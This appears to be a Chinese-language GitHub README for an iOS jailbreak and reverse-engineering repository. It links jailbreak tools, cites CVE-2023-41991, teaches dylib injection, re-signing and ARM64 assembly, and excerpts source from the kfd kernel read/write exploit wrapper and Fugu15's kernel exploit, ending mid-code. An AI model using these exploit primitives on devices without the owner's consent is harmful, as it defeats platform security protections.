XLsn0w/Cydiapps

🔥🔥🔥微信公众号:Cydiapps🔥🔥🔥 => Cydia插件 Logos语言 开发Tweak.xm Cydia Substrate 注入dylib iOS逆向工程开发 越狱Jailbreak deb插件 - fishhook / Frida / iOSOpenDev / Cycript / MachOView / IDA / Hopper Disassembler / MonkeyDev / Class-dump / Theos / Reveal / Dumpdecryptd / FLEX / 汇编Assembly / CaptainHook / lldb/LLVM/XNU/Darwin/iOS Reverse

Logos

1,187

315 commits

updated May 3, 2024

See the code

README

iOS应用逆向工程-Cydia越狱-Tweaks插件开发

巨魔二代 iOS15.0-16.6.1 新手指南

巨魔二代 iOS15.0-16.6.1 新手指南

我的微信公众号-> Cydiapps

百家号

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweak/

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweaks/

Cydiapp's Cydia Repo: https://XLsn0w.github.io/Cydiapp/

🔥🔥🔥 我的博客: https://xlsn0w.github.io 🔥🔥🔥

Welcome to XLsn0w’s Blog.

Apple  Developer iPhone  Hacker

我的Github-> https://github.com/XLsn0w

我的微信公众号-> Cydiapps

我的微信公众号-> Cydiapps

我的个人博客-> https://xlsn0w.github.io

我的简书-> http://www.jianshu.com/u/eacc1a5d2fda

公众号

tease

//                            _ooOoo_
//                           o8888888o
//                           88" . "88
//                           (| -_- |)
//                            O\ = /O
//                        ____/`---'\____
//                      .   ' \\| |// `.
//                       / \\||| : |||// \
//                     / _||||| -:- |||||- \
//                       | | \\\ - /// | |
//                     | \_| ''\---/'' | |
//                      \ .-\__ `-` ___/-. /
//                   ___`. .' /--.--\ `. . __
//                ."" '< `.___\_<|>_/___.' >'"".
//               | | : `- \`.;`\ _ /`;.`/ - ` : | |
//                 \ \ `-. \_ __\ /__ _/ .-` / /
//         ======`-.____`-.___\_____/___.-`____.-'======
//                            `=---='
//
//         .............................................
//                  佛祖镇楼            逆向寻根
//          佛曰:
//                  写字楼里写字间,写字间里程序员;
//                  程序人员写程序,又拿程序换酒钱。
//                  酒醒只在网上坐,酒醉还来网下眠;
//                  酒醉酒醒日复日,网上网下年复年。
//                  但愿老死电脑间,不愿鞠躬老板前;
//                  奔驰宝马贵者趣,公交自行程序员。
//                  别人笑我忒疯癫,我笑自己命太贱;
//                  不见满街漂亮妹,哪个归得程序员?

iOS Jailbreak Develop + iPhone App Reverse

我的微信公众号: Cydiapps

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweak/

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweaks/

XLsn0w

iOS刷Android -安卓越狱苹果

跳转=>iOS刷Android -安卓越狱苹果

Mac电脑 修改hosts文件 以访问Github

  1. 打开 https://ping.chinaz.com/ 搜索github.com

  2. 找一个快的ip地址 我这里找的是

德国 140.82.121.4 美国华盛顿西雅图 GitHub <1ms

打开终端,输入命令

sudo vi /etc/hosts 输入密码后,使用vi编辑hosts文件:增加

140.82.121.4 github.com (相当于访问github.com 切换成 140.82.121.4)

  1. 按i进入编辑模式,开始编辑

  2. 编辑完成后按esc退出

  3. 再按:wq回车保存

巨魔商店优点

完全免费
手机端直装任何的IPA
安装 IPA 后永不过期(不掉签)
无需帐户,无需证书,无需越狱

🔴iOS 14.0bata 1 及更早版本 + iOS 17.0.1及更高版本,永不支持安装巨魔!

🔴iOS 16.7 – 16.7.5 不支持安装(没有支持漏洞)

🟢iOS 17.0 beta1-5 支持安装,但是目前成功率不高,可以试试!!!

TrollRecorder 巨魔录音机

🟡仅限使用 巨魔 TrollStore 用户

🔴支持系统:iOS 15.0 至 16.6.1 和 17.0 系统

🔵TrollRecorder中文名:巨魔录音机,是一款纯巨魔版通话录音,无需越狱环境

🟢国人开发团队开发,核心功能可免费使用。通话录音功能免费,使用简单,大家放心使用

巨魔录音机特点:

🟢UI界面风格好看 🟢录音支持所有(VX、YX) 🟢能实现自动启动通话录音 🟢支持应用程序启动期间启用生物识别验证 🟢能记录录音地址及搜索能力 🟢能为录音选择音频质量和格式 高级功能功能,需要付费38元,有验证的,最多 5台设备使用。

免费版:https://github.com/Lessica/TrollRecorder 付费版:https://havoc.app/package/trollrecorder

iOS16 Bootstrap 半越狱工具

Bootstrap 官方地址: https://github.com/RootHide/Bootstrap

Bootstrap 官方下载: https://github.com/roothide/Bootstrap/releases

iOS巨魔商店 利用的漏洞

https://github.com/advisories/GHSA-fj3m-2r8f-m4x9

Description A certificate validation issue was addressed. This issue is fixed in iOS 16.7 and iPadOS 16.7, OS 17.0.1 and iPadOS 17.0.1, watchOS 9.6.3, macOS Ventura 13.6, watchOS 10.0.1. A malicious app may be able to bypass signature validation. Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 16.7.

References

https://nvd.nist.gov/vuln/detail/CVE-2023-41991

https://support.apple.com/en-us/HT213926

https://support.apple.com/en-us/HT213927

https://support.apple.com/en-us/HT213928

https://support.apple.com/en-us/HT213929

https://support.apple.com/en-us/HT213931

https://support.apple.com/kb/HT213926

http://seclists.org/fulldisclosure/2023/Sep/14

http://seclists.org/fulldisclosure/2023/Sep/15

http://seclists.org/fulldisclosure/2023/Sep/16

http://seclists.org/fulldisclosure/2023/Sep/17

http://seclists.org/fulldisclosure/2023/Sep/19

http://seclists.org/fulldisclosure/2023/Oct/5

Dopamine 2.0

多巴胺二代 iOS 15.0 - 16.6.1 越狱指南 Dopamine 2.0 分享下载

教程指南: 多巴胺二代越狱指南

iOS巨魔二代发布了

安装包下载: https://github.com/opa334/TrollStore/releases

有问题可以 联系公众号Cydiapps

iOS巨魔V2.0 安装指南 TrollStore 二代

misaka

巨魔辅助安装器 Misaka

misaka.ipa 支持Beta系统安装巨魔2代

下载链接: https://pan.baidu.com/s/1yDhkZ0fwbfcPr2sYTYKqNg?pwd=hedd

iOS customisation tool for KFD & MDC

About

The purpose of this application is to give iPhone users the ability to customise their phones without a jailbreak.

At this time we have over 24 default repositories and more than 400 tweaks available.

Misaka is offered at no charge if somebody tried to sell it to you, report it

Versions Supported

iOS VersionsMDCKFD
15.0 - 15.7.1✓-
15.7.2 - 15.7.6-✓
16.0 - 16.1.2✓-
16.2 - 16.6 beta 1-✓
17.0 & up--

17.0 & up can use PiP tweaks

Download

You can download the latest version of misaka from here:

Download IPA Here

Misaka is available at no cost, you can install it through AltStore, Sideloadly or TrollStore

Screenshots

misaka

Installing TrollStore with misaka

Official Guide

ipa下载: https://github.com/straight-tamago/misaka

TrollStore2 安装指南 https://github.com/XLsn0w/TrollStore2

安装指南: 巨魔2代安装教程

巨魔2砸壳工具

下载: https://github.com/donato-fiore/TrollDecrypt/releases

巨魔状态栏修改网速神器

下载: https://github.com/leminlimez/Helium

TrollSpeed 状态栏网速显示

下载地址: https://github.com/Lessica/TrollSpeed

实现高版本watchOS绑定到低版本iOS

实现指南: 实现高版本watchOS绑定到低版本iOS教程

A8-A14 devices on iOS 14.0-14.3 越狱源代码

仓库地址: https://github.com/XLsn0w/Taurine-kfd-Jailbreak

Linus Henze 大神已经被 Apple 聘请了

之前 Linus Henze 大神提到过,如果苹果亲自邀请他,他必定会答应,这次真的来了,现在已经成功应聘上。

也就是说!未来的 Linus Henze 大神所挖掘的漏洞,都属于 Apple 官方的了,他不能私自公开。

根据我的了解得知,在安全研究实验室中,发现新的漏洞,都是属于团队的,不属于个人,自己是没权利公开。

#《生化危机:村庄》iOS 版本

《生化危机:村庄》定价 4990 日元(当前约 244 元人民币), 《生化危机:村庄》可免费下载,这是一款“先玩后买”App

不过卡普空宣布 10 月 30 日至 11 月 20 日期间立减 60%,折后 含税 1990 日元(当前约 97 元人民币)。

WinRa1n越狱工具电脑版

是由iKeystools团队开发的一款苹果iOS系统越狱工具。它的功能十分强大,

支持iOS 12.2 ~ 16.7直接越狱,支持iPhone 5s ~ X,完美支持Windows平台,免费下载。

【支持三种越狱模式】

  1、CheckM8 支持引导未签名的img4文件,说明白就是进入Pwndfu模式。新手用不上。

 2、Checkra1n 0.12.4 是我们熟知的checkra1n越狱,支持越狱iOS 12.2 ~ 14.8.1版本。

 3、Palera1n 2.0.0 beta7是iOS15 以上的越狱,可以越狱iOS 15.0 ~ 16.6.1的A8X ~ A11处理器。

 

iOS kfd漏洞 源代码

//
//  krw.m
//  kfd
//
//  Created by Seo Hyun-gyu on 2023/08/10.
//

#import <Foundation/Foundation.h>
#include "KernelRwWrapper.h"
#import "libkfd.h"

static uint64_t _kfd = 0;
static uint64_t _self_task = 0;
static uint64_t _self_proc = 0;
static uint64_t _kslide = 0;

static uint64_t kread64(uint64_t where) {
    uint64_t out;
    kread_(_kfd, where, &out, sizeof(uint64_t));
    return out;
}

static void kwrite64(uint64_t where, uint64_t what) {
    u64 _buf[1] = {};
    _buf[0] = what;
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static uint64_t get_selftask(void) {
    return _self_task;
}

static uint64_t get_selfproc(void) {
    return _self_proc;
}

static uint64_t get_kslide(void) {
    return _kslide;
}

static void set_selftask(void) {
    _self_task = ((struct kfd*)_kfd)->info.kernel.current_task;
}

static void set_selfproc(void) {
    _self_proc = ((struct kfd*)_kfd)->info.kernel.current_proc;
}

static void set_kslide(void) {
    _kslide = ((struct kfd*)_kfd)->info.kernel.kernel_slide;
}

static void do_kclose(void)
{
    kclose(_kfd);
}

uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method)
{
    _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);//kopen_intermediate(puaf_pages, puaf_method, kread_method, kwrite_method);
    set_selfproc();
    set_selftask();
    set_kslide();
    our_proc_kAddr = get_selfproc();
    usleep(10000);
    initKernRw(get_selftask(), kread64, kwrite64);
    printf("isKernRwReady: %d\n", isKernRwReady());
    if(isKernRwReady()) {
        usleep(10000);
        do_kclose();
    }
    return _kfd;
}

static void do_kread(uint64_t kaddr, void* uaddr, uint64_t size)
{
    kread_(_kfd, kaddr, uaddr, size);
}

static void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size)
{
    kwrite_(_kfd, uaddr, kaddr, size);
}

static uint64_t get_kernproc(void) {
    return ((struct kfd*)_kfd)->info.kernel.kernel_proc;
}

static uint8_t kread8(uint64_t where) {
    uint8_t out;
    kread_(_kfd, where, &out, sizeof(uint8_t));
    return out;
}
static uint32_t kread16(uint64_t where) {
    uint16_t out;
    kread_(_kfd, where, &out, sizeof(uint16_t));
    return out;
}
static uint32_t kread32(uint64_t where) {
    uint32_t out;
    kread_(_kfd, where, &out, sizeof(uint32_t));
    return out;
}

static void kwrite8(uint64_t where, uint8_t what) {
    uint8_t _buf[8] = {};
    _buf[0] = what;
    _buf[1] = kread8(where+1);
    _buf[2] = kread8(where+2);
    _buf[3] = kread8(where+3);
    _buf[4] = kread8(where+4);
    _buf[5] = kread8(where+5);
    _buf[6] = kread8(where+6);
    _buf[7] = kread8(where+7);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kwrite16(uint64_t where, uint16_t what) {
    u16 _buf[4] = {};
    _buf[0] = what;
    _buf[1] = kread16(where+2);
    _buf[2] = kread16(where+4);
    _buf[3] = kread16(where+6);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kwrite32(uint64_t where, uint32_t what) {
    u32 _buf[2] = {};
    _buf[0] = what;
    _buf[1] = kread32(where+4);
    kwrite_((u64)(_kfd), &_buf, where, sizeof(u64));
}

static void kreadbuf(uint64_t kaddr, void* output, size_t size)
{
    uint64_t endAddr = kaddr + size;
    uint32_t outputOffset = 0;
    unsigned char* outputBytes = (unsigned char*)output;
    
    for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4)
    {
        uint32_t k = kread32(curAddr);

        unsigned char* kb = (unsigned char*)&k;
        for(int i = 0; i < 4; i++)
        {
            if(outputOffset == size) break;
            outputBytes[outputOffset] = kb[i];
            outputOffset++;
        }
        if(outputOffset == size) break;
    }
}


iOS或iPadOS 15.0-15.1.1的A12-A15芯片设备 XinaA15越狱工具

这是xina520越狱(临时)的官方下载网站 https://discord.gg/vFpnTUSD4H

工具下载: xina520越狱下载

iOS APP运行 编译过程及库

在分析app启动之前,我们需要先了解iOSapp代码的编译过程以及动态库和静态库。

其中编译过程如下图所示,主要分为以下几步:

源文件:载入.h、.m、.cpp等文件

预处理:替换宏,删除注释,展开头文件,产生.i文件

编译:将.i文件转换为汇编语言,产生.s文件

汇编:将汇编文件转换为机器码文件,产生.o文件

链接:对.o文件中引用其他库的地方进行引用,生成最后的可执行文件

dyld加载流程分析 根据dyld源码,以及libobjc、libSystem、libdispatch源码协同分析

什么是dyld?

dyld(the dynamic link editor)是苹果的动态链接器,是苹果操作系统的重要组成部分, 在app被编译打包成可执行文件格式的Mach-O文件后,交由dyld负责连接,加载程序

========| 微信公众号Cydiapps |========

========| XLsn0w博客文章 |========

iOS重签名.dylib动态库

1)让可执行文件链接动态库

可执行文件是不会主动启用自定义动态库,所以需要注入.dylib

insert_dylib @executable_path/[动态库名称] [可执行文件名称] --all-yes --weak [新可执行文件名称]

insert_dylib :动态库加载路径

--all-yes:后面所有的选择都为yes

--weak:即使动态库找不到也不会报错

insert_dylib的本质是往Mach-O文件的Load Commands中

添加了一个LC_LOAD_DYLIB活LC_LOAD_WEAK_DYLIB。

可以通过otool查看Mach-O的动态库依赖信息

otool -L Mach-O文件

2)修改CydiaSubstrate文件路径

查看动态库(ResignTweak.dylib)的依赖库

可以看到ResignTweak.dylib依赖的CydiaSubstrate路径为/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate。

修改CydiaSubstrate路径

因CydiaSubstrate路径变更,所以需要对它进行修改。

install_name_tool -change [原路径] @loader_path/CydiaSubstrate [动态库名称]

再次执行otool -L ResignTweak.dylib查看,可以看出CydiaSubstrate路径已经修改了。

3)对动态库和CydiaSubstrate文件重签名

codesign -fs [证书id] [文件名称]

4)对APP包重签名并安装验证

ra1ncloud Fugu15 不完美越狱工具

https://github.com/iarchiveml/ra1ncloud

iOS巨魔盒子

iOS巨魔盒子下载: https://share.weiyun.com/VdSYtnBm 就个人而言,我喜欢将所有内容整合在一起的应用程序的想法。这意味着我的主屏幕上的混乱更少,并且在单个应用程序中发生更多事情。

请注意,TrollBox仅适用于TrollStore,因此它仅支持支持TrollStore(越狱与否)的设备,即运行iOS或iPadOS 14.0-15.4.1(以及一些15.5测试版)的设备。

RootHide Dopamine Jailbreak 屏蔽越狱检测 越狱工具

下载: https://github.com/RootHide/Dopamine-roothide RootHide is a completely hidden rootless jailbreak solution without to inject/modify/patch/hook apps.

This project is the RootHide implementation based on Dopamine Jailbreak.

AppsManager从备份恢复应用Pro会员教程 --->使用教程

ESign轻松签+iOS安装教程 --->安装教程

永久签名工具版【轻松签+】,和巨魔支持的范围一样, 支持 iOS 14.0 - iOS 15.4.1 以及 iOS 15.5 Beta 1 - Beta 4 系统, 支持 A12 - A15 设备(即包括iPhone13pm以下设备)。 意味着最高 iPhone13 Pro Max (15.5B4以下系统)可以摆脱证书限制

iOS巨魔商店有可能更新V2.0 目前开发者证实漏洞存在 但安装方式还需要研究

iOS巨魔商店

TrollStore版本1.5.0 更新功能:

–加高深设置选项卡,其中包含在已安装和自定义卸载方法 之间切换的功能 - 将Idid更新与TrollStore更新分开;最新的 Idid 更新解决了 TrollStore 以前需要破解解决方法的错误,并且该解决方法现已删除 – 如果尚未安装或安装的版本太过时,Idid 现在将在启动 TrollStore 时自动安装和/或更新,无法正确 使用它 – 修复了卸载某些应用程序会失败 的问题 – 自动使重新加载图标缓存按钮修复了一个股票 iOS 问题,其中臃肿的图标缓存可能导致应用程序安装和更新导致严重的系统范围滞后峰值 – 修复了应用程序插件的组容器可能被错误注册 的错误 – 切换到 TrollStore 自己的 CoreTrust 证书,以支持以前值得做得不好的证书

边店SideStore自签名IPA工具

软件官网下载: https://sidestore.io/

simctl Xcode模拟器命令行管理工具

simctl类似于安卓的adb命令非常相似。

虽然苹果官方文档没有对它进行任何说明。但是我们可以通过Applications/Xcode.app/Contents/Developer/usr/bin/simctl路径找到它。

由于是XCode内置的命令,所以在使用的时候要在该命令前面加上xcrun。我们可以通过以下命令来查看该命令所有的功能选项。

Xcode15 官网下载 iOS_17_Simulator_Runtime.dmg 后 手动添加模拟器SDK

sudo xcode-select -s /Applications/Xcode.app
Password:
h3lix@i0smX ~ % xcodebuild -runFirstLaunch
h3lix@i0smX ~ % xcrun simctl runtime add "/Users/h3lix/Downloads/iOS_17.0.1_Simulator_Runtime.dmg"
D: 432C1CED-ADBC-45F7-A7C8-A3A8FF031397 iOS (17.0.1 - 21A342) (Ready)

iOS汇编概述

使用助记符代替机器指令的一种编程语言

汇编和机器指令是一一对应的关系,拿到二进制就可以反汇编

由于汇编和CPU的指令集是对应的,所以汇编不具备移植性

2、总线:是由一堆导线的集合

地址总线:其宽度决定了寻址能力

数据总线:其宽度决定了CPU数据的吞吐量

控制总线:其宽度决定了CPU对其他器件的控制能力

3、进制

任意进制都是由对应个数的符号组成的,符号可以自定义

2/8/16是相对完美的进制,他们之间的关系

3个二进制 使用一个8进制标识

4个二进制 使用一个16进制标识

两个16进制可以标识一个字节,即8位

数量单位

1024 = 1k,1024k = 1M,1024M = 1G

容量单位

1024 = 1KB,1024KB = 1MB,1024MB = 1GB

数据的宽度

计算机中的数据是有宽度的,超过了就会溢出

4、寄存器:CPU为了性能,自内部开辟了一小块临时存储区域

浮点向量寄存器:用于浮点数/向量的存储及运算

异常状态寄存器

通用寄存器:除了存放数据有时也有特殊的用途

ARM64拥有32个64位的通用寄存器X0-X30以及XZR(零寄存器)

为了兼容32位,所以arm64位拥有W0-W28以及WZR 30个32位寄存器

32位寄存器并不是独立存在的,例如 W0是X0的低32位

PC寄存器:指令指针寄存器

PC寄存器里面的值保存的就是CPU接下来需要执行的指令地址

改变PC的值可以改变程序的执行流程

mov指令不能更改PC寄存器的值,需要通过bl跳转指令来改变PC寄存器的值

函数本质(重点掌握!!!!!)

1、栈:是一种具有特殊的访问方式的存储空间(后进先出,Last in First out, LIFO)

ARM64里面对栈的操作是16字节对齐的

2、SP和FP寄存器

SP寄存器在任意时刻会保存栈顶的地址 FP寄存器也称为x29寄存器,属于通用寄存器,但是在某些时刻利用它保存栈底的地址

3、栈的读写指令

读:ldr(load register)指令 LDR、LDP

写:str(store register)指令 STR、STP

4、bl指令

跳转指令:bl 标号,表示程序执行到标号处,将下一条指令的地址保存到lr寄存器

B代表着跳转

L表示lr(x30)寄存ios_reverse_02器

5、ret指令

类似函数的return 让CPU执行lr寄存器所指向的指令

6、避免嵌套函数无法回去:需要保护bl(即lr寄存器,存放回家的路),保存在当前函数自己的栈空间

7、函数参数

arm64中,参数是放在x0-x7的8个寄存器中

如果是浮点数,就会用浮点数寄存器

如果超过8个参数就会用栈传递

8、函数返回值

一般函数的返回值使用x0寄存器保存

如果返回值大于了8个字节(x0寄存器大小是8个字节),就会利用内存传递返回值

9、函数局部变量

局部变量存储在栈空间

10、函数的嵌套调用:会将x29、x30寄存器入栈保护

11、状态(标志)寄存器 - CPSR

arm64中cpsr寄存器(32位)为状态寄存器

最高4位(28、29、30、31)为标志位

N标志(负标记位)

执行结果为负数N=1

执行结果非负数N=0

Z标志(0标记位)

结果为0则Z=1

结果非0则Z=0

C标志(无符号溢出)

加法:进位 C=1,否则C=0

减法:借位 C=0,否则C=1

V标志(有符号溢出)

正数+正数=负数,则V=1

正数+负数=正数,则V=0

循环选择指令(需要多实际操作) 1、全局变量和常量

获取全局变量和常量时,会出现adrp和add两条指令获得一个地址的情况

ADRP(Address Page)

adrp x0,1

将PC寄存器的低12位清零

将1的值,左移12位

以上两个结果相加放入x0寄存器

通过ADD指令获取这页内存中的偏移值

2、条件判断

CMP把一个寄存器的内容和另一个寄存器的内容或立即数进行比较,但不存储结果,只是正确的更改标志(CMP后面跟的是B.LE,即else的条件) 一般CMP做完判断后会进行跳转,后面通常会跟上B指令

BL 标号:跳转到标号处执行

B.LT 标号:比较结果是小于(less than ),执行标号,否则不跳转

B.LE 标号:比较结果是小于等于(less than or equal to),执行标号,否则不跳转

B.GT 标号:比较结果是大于(greater than),执行标号,否则不跳转

B.GE 标号:比较结果是大于等于(greater than or equal to),执行标号,否则不跳转

B.EQ 标号:比较结果是等于,执行标号,否则不跳转

B.NE 标号:比较结果是不等于(not equal),执行标号,否则不跳转

B.HI 标号:比较结果是无符号大于,执行标号,否则不跳转

B.HS 标号:比较结果是无符号大于等于,执行标号,否则不跳转

3、循环

do-while循环:判断条件在后面,满足条件往外跳

for循环和while循环很像:判断条件在里面,不满足就往外跳

4、switch

1、假设switch语句的分支比较少时(例如3,少于4的时候没有意义),没有必要使用次结构,相当于if-else

2、各个分支常量的差值较大时,编译器会在效率还是内存进行取舍,这时编译器还是会编译成类似于if-else的结构

3、在分支比较多的时候,在编译的时候会生成一个表(跳转表每个地址四个字节)。

OC反汇编(需要多实际操作)

1、编译器优化:

1、设置:BuildSetting->Optimization Level

2、优化原则:对结果没有任何影响的代码会被编译器优化

3、编译器优化,本质是LLVM的优化过程,实际上优化的是汇编代码(可以理解为汇编指令会减少)

2、指针:

1、指针的自增自减和指向的数据类型宽度有关,是按照指向的数据类型来运算的(即指针的宽度 - 步长)

2、指针的运算单位是指向的数据类型的宽度

3、指针可以通过if-else比大小,因为类型是可以相互转换的

3、[[self alloc] init] 优化过程

在最初的版本(iOS9)中,相当于两次消息发送 objc_msgSend

iOS11版本 是一次消息发送 objc_alloc + objc_msgSend

iOS13.5.1以上版本,已经没有objc_msgSend,而是objc_alloc_init

4、反汇编分析方式:

通过LLDB动态调试

Fugu15 不过期 iOS15.4越狱教程

1.用手机Safari浏览器打开下面链接,下载Fugu15越狱安装包

2.找到IPA文件,选项共享,选择巨魔TrollStore打开进行安装

下载ipa包: https://share.weiyun.com/WiBhQ7aP

BlizzardBoard

BlizzardBoard支持越狱和非越狱iOS设备,通过TrollStore安装, 对主屏应用程序图标进行主题修改。

iOS 15.4.1 Fugu15越狱

https://xlsn0w.github.io/jekyll/2022/08/30/XLsn0w/

Linus Henze开源 Fugu15越狱代码

我的博客  https://xlsn0w.github.io/

10月初,Linus Henze 展示了他在运行 iOS15.4.1的 iPhone 上的 Fugu15越狱,他用一种巧妙的新安装方法让我们想起了 JailbreakMe 的日子。

现在,它已经正式发布,并在 Henze 的 GitHub 页面上开源。

https://github.com/pinauten/Fugu15

现在 TrollStore 正式支持 Fugu15越狱应用程序,这意味着用户可以使用 TrollStore 在他们兼容的设备上加载和永久签署 Fugu15越狱应用程序。

以前,用户需要用自己的域名安装一个基于 web 的安装程序,或者将他们的设备连接到 Mac 上,用 Xcode 安装 Fugu15。

公众号Cydiapps 已经发文详细讲解Fugu15

(^o^)/~

h5打开App方法

最常见的就是抖音里面的一些广告,如果你点击了广告,他判断你手机装了对应APP,那他就会去打开那个APP, 如果没安装,他会帮你跳转到应用商店去下载,这个还算人性化一点的,有些直接后台给你去下载,你完全无感知, 流氓技术点。

哈哈,是不是觉得这种技术很神奇,今天我们就一起来看看它是如何实现的~

唤端技术 体验过后,我们就来聊一聊它的实现技术是怎样的,唤端技术我们也称之为deep link技术。当然,不同平台的实现方式有些不同,一般常见的有这几种,分别是:

URL Scheme(通用)
Universal Link (iOS)
App Link、Chrome Intents(android)

URL Scheme(通用)这种方式是一种比较通用的技术,各平台的兼容性也很好,它一般由协议名、路径、参数组成。这个一般是由Native开发的同学提供,我们前端同学再拿到这个scheme之后,就可以用来打开APP或APP内的某个页面了。

URL Scheme 组成 [scheme:][//authority][path][?query][#fragment] 常用APP的 URL Scheme APP 微信 支付宝 淘宝 QQ 知乎 URL Scheme weixin:// alipay:// taobao:// mqq:// zhihu:// 打开方式 常用的有以下这几种方式

直接通过window.location.href跳转 window.location.href = 'zhihu://' 通过iframe跳转 const iframe = document.createElement('iframe') iframe.style.display = 'none' iframe.src = 'zhihu://' document.body.appendChild(iframe) 直接使用a标签进行跳转 通过js bridge来打开 window.miduBridge.call('openAppByRouter', {url: 'zhihu://'}) 判断是否成功唤起 当用户唤起APP失败时,我们希望可以引导用户去进行下载。那么我们怎么才能知道当前APP是否成功唤起呢?

我们可以监听当前页面的visibilitychange事件,如果页面隐藏,则表示唤端成功,否则唤端失败,跳转到应用商店。

OK,我们尝试来实现一下:

首先我手机上并没有安装腾讯微博,所以也就无法唤起,我们让他跳到应用商店对应的应用下载页,这里就用淘宝的下载页来代替一下~

.open_app_title { font-size: (20/@rem); } .open_btn{ margin-top:(20/@rem); padding:(10/@rem) 0; border-radius: (8/@rem); background: salmon; color: #fff; font-size: (16/@rem); }

8.open_weibo.gif

适用性 URL Scheme 这种方式兼容性好,无论安卓或者 iOS 都能支持,是目前最常用的方式。从上图我们能够看出它也有一些比较明显的缺点:

无法准确判断是否唤起成功,因为本质上这种方式就是打开一个链接,并且还不是普通的 http 链接,所以如果用户没有安装对应的 APP,那么尝试跳转后在浏览器中会没有任何反应,通过定时器来引导用户跳到应用商店,但这个定时器的时间又没有准确值,不同手机的唤端时间也不同,我们只能大概的估计一下它的时间来实现,一般设为3000ms左右比较合适; 从上图中我们可以看到会有一个弹窗提示你是否在对应 APP中打开,这就可能会导致用户流失; 有 URL Scheme 劫持风险,比如有一个 app 也向系统注册了 zhihu:// 这个 scheme ,唤起流量可能就会被劫持到这个 app 里; 容易被屏蔽,app 很轻松就可以拦截掉通过 URL Scheme 发起的跳转,比如微信内经常能看到一些被屏蔽的现象。 Universal Link (iOS) Universal Link 是在iOS 9中新增的功能,使用它可以直接通过https协议的链接来打开 APP。 它相比前一种URL Scheme的优点在于它是使用https协议,所以如果没有唤端成功,那么就会直接打开这个网页,不再需要判断是否唤起成功了。并且使用 Universal Link,不会再弹出是否打开的弹出,对用户来说,唤端的效率更高了。

原理 在 APP 中注册自己要支持的域名; 在自己域名的根目录下配置一个 apple-app-site-association 文件即可。(具体的配置前端同学不用关注,只需与iOS同学确认好支持的域名即可) 打开方式 openByUniversal () { // 打开知乎问题页 window.location.href = 'https://oia.zhihu.com/questions/64966868' // oia.zhihu.com }, 9.open_zhihu.gif

适用性 相对 URL Scheme,universal links 有一个较大优点是它唤端时没有弹窗提示是否打开,提升用户体验,可以减少一部分用户流失; 无需关心用户是否安装对应的APP,对于没有安装的用户,点击链接就会直接打开对应的页面,因为它也是http协议的路径,这样也能一定程度解决 URL Scheme 无法准确判断唤端失败的问题; 只能够在iOS上使用 只能由用户主动触发 App Link、Chrome Intents(Android) App Link 在2015年的Google I/O大会上,Android M宣布了一个新特性:App Links让用户在点击一个普通web链接的时候可以打开指定APP的指定页面,前提是这个APP已经安装并且经过了验证,否则会显示一个打开确认选项的弹出框,只支持Android M以上系统。

App Links的最大的作用,就是可以避免从页面唤醒App时出现的选择浏览器选项框;

前提是必须注册相应的Scheme,就可以实现直接打开关联的App。

App links在国内的支持还不够,部分安卓浏览器并不支持跳转至App,而是直接在浏览器上打开对应页面。 系统询问是否打开对应App时,假如用户选择“取消”并且选中了“记住此操作”,那么用户以后就无法再跳转App。 Chrome Intents Chrome Intent 是 Android 设备上 Chrome 浏览器中 URI 方案的深层链接替代品。 如果 APP 已安装,则通过配置的 URI SCHEME 打开 APP。 如果 APP 未安装,配置了 fallback url 的跳转 fallback url,没有配置的则跳转应用市场。 这两种方案在国内的应用都比较少。

方案对比 URL Scheme Universal Link App Link <ios9 支持 不支持 不支持

=ios9 支持 支持 不支持 <android6 支持 不支持 不支持 =android6 支持 不支持 支持 是否需要HTTPS 不需要 需要 需要 是否需要客户端 需要 需要 需要 无对应APP时的现象 报错/无反应 跳到对应的页面 跳到对应的页面 URI Scheme

URI Scheme的兼容性是最高,但使用体验相对较差: 当要被唤起的APP没有安装时,这个链接就会出错,页面无反应。 当注册有多个scheme相同的时候,没有办法区分。 不支持从其他app中的UIWebView中跳转到目标APP, 所以ios和android都出现了自己的独有解决方案。 Universal Link

已经安装APP,直接唤起APP;APP没有安装,就会跳去对应的web link。 universal Link 是从服务器上查询是哪个APP需要被打开,所以不会存在冲突问题 universal Link 支持从其他app中的UIWebView中跳转到目标app 缺点在于会记住用户的选择:在用户点击了Universal link之后,iOS会去检测用户最近一次是选择了直接打开app还是打开网站。一旦用户点击了这个选项,他就会通过safiri打开你的网站。并且在之后的操作中,默认一直延续这个选择,除非用户从你的webpage上通过点击Smart App Banner上的OPEN按钮来打开。 App link

优点与 universal Link 类似 缺点在于国内的支持相对较差,在有的浏览器或者手机ROM中并不能链接至APP,而是在浏览器中打开了对应的链接。 在询问是否用APP打开对应的链接时,如果选择了“取消”并且“记住选择”被勾上,那么下次你再次想链接至APP时就不会有任何反应

源代码

//
//  Fugu15.swift
//  Fugu15KernelExploit
//
//  Created by Linus Henze.
//

import Foundation
import ProcessCommunication
import CBindings
import KernelPatchfinder

public enum Fugu15LaunchError: Error {
    case deviceNotSupported(reason: String)
    case posix_spawnFailed(result: Int32, errno: Int32)
    case noPongReceived
    case kexploitdFailed
    case canOnlyLaunchiDownloadAfterExploitRan
    case iDownloadLaunchFailed(reply: [String])
}

public enum Fugu15SupportsThisDevice {
    case yes
    case no(reason: String)
}

public struct Fugu15 {
    public static var comm: ProcessCommunication?
    public static var patchfinder = KernelPatchfinder.running
    
    static var kernelBase: UInt64 = 0
    static var kernelSlide: UInt64 = 0
    
    // Lock for requests to pciPwn
    static let requestLock     = NSLock()

    // Lock to notify exception handler to continue
    static let sendRequestLock = NSLock()

    // Lock to notify requestor to continue
    static let replyLock       = NSLock()

    // Request
    static var request:        UInt64 = 0
    static var requestAddrPid: UInt64 = 0
    static var requestSize:    UInt64 = 0
    static var requestBuf:     Data?

    // Reply
    static var replyStatus: UInt64 = 0
    static var replyResult: UInt64 = 0
    static var replyBuf:    Data?
    
